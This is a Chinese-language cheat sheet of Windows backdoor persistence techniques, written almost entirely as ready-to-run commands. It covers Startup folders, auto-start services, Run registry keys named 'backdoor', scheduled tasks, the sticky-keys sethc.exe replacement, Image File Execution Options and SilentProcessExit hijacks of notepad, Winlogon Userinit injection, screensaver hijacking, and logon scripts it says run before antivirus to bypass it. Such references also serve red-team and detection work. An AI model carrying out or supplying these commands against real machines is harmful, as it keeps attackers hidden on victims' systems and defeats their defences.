自启动加载后门执行
shell:startup //用户自启动加载后门执行
C:\Users\zxy52\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
shell:common startup //系统自启动加载后门执行
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
自启动服务加载后门执行
sc create ServiceTest binPath=C:\shell.exe start=auto //auto是自启动服务加载
sc delete ServiceTest //删除服务
自启动注册表加载后门执行
当前用户键值
计算机\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
服务器键值(需要管理员权限)
计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
添加启动项
REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "backdoor" /t REG_SZ /F /D "C:\shell.exe" //当前用户添加自启动
REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "backdoor" /t REG_SZ /F /D "C:\shell.exe" //服务器用户添加自启动
/V后是名字
/t后是类型
/F后是执行的程序
计划计时任务加载后门执行
schtasks /create /tn "RunXD" /tr "C:\xd.exe" /sc daily /st 12:50 //每天12:50执行计划任务
schtasks /delete /tn "RunXD" /f //删除计划任务
schtasks //查看计划任务
组策略bat脚本运行加载
1.创建一个启动某个程序的bat文件
2.在本地组策略编辑器中设置注销或者登录时触发
粘贴键后门
sethc.exe
takeown /f c:\Windows\System32\sethc.exe //修改权限,这条就是解锁权限
move sethc.exe seth1.exe //移动备份,就是重命名备份
copy cmd.exe sethc.exe //替换劫持,这样子按5次shift就会开启cmd了
映像劫持权限维持技术
//运行notepad会运行shell.exe这个后门
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "c:\shell.exe"
WinLogon配合无文件落地上线
切换用户登录或远程终端登录出发
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /V "Userinit" /t REG_SZ /F /D "C:\Windows\system32\userinit.exe,C:\shell.exe,"
屏幕保护生效后执行
reg add "计算机\HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "C:\shell.exe" /f
Logon Scripts登录脚本后门
Windows用户登录时触发,Logon Scripts能够优先于杀毒软件执行,绕过杀毒
reg add "计算机\HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\shell.exe"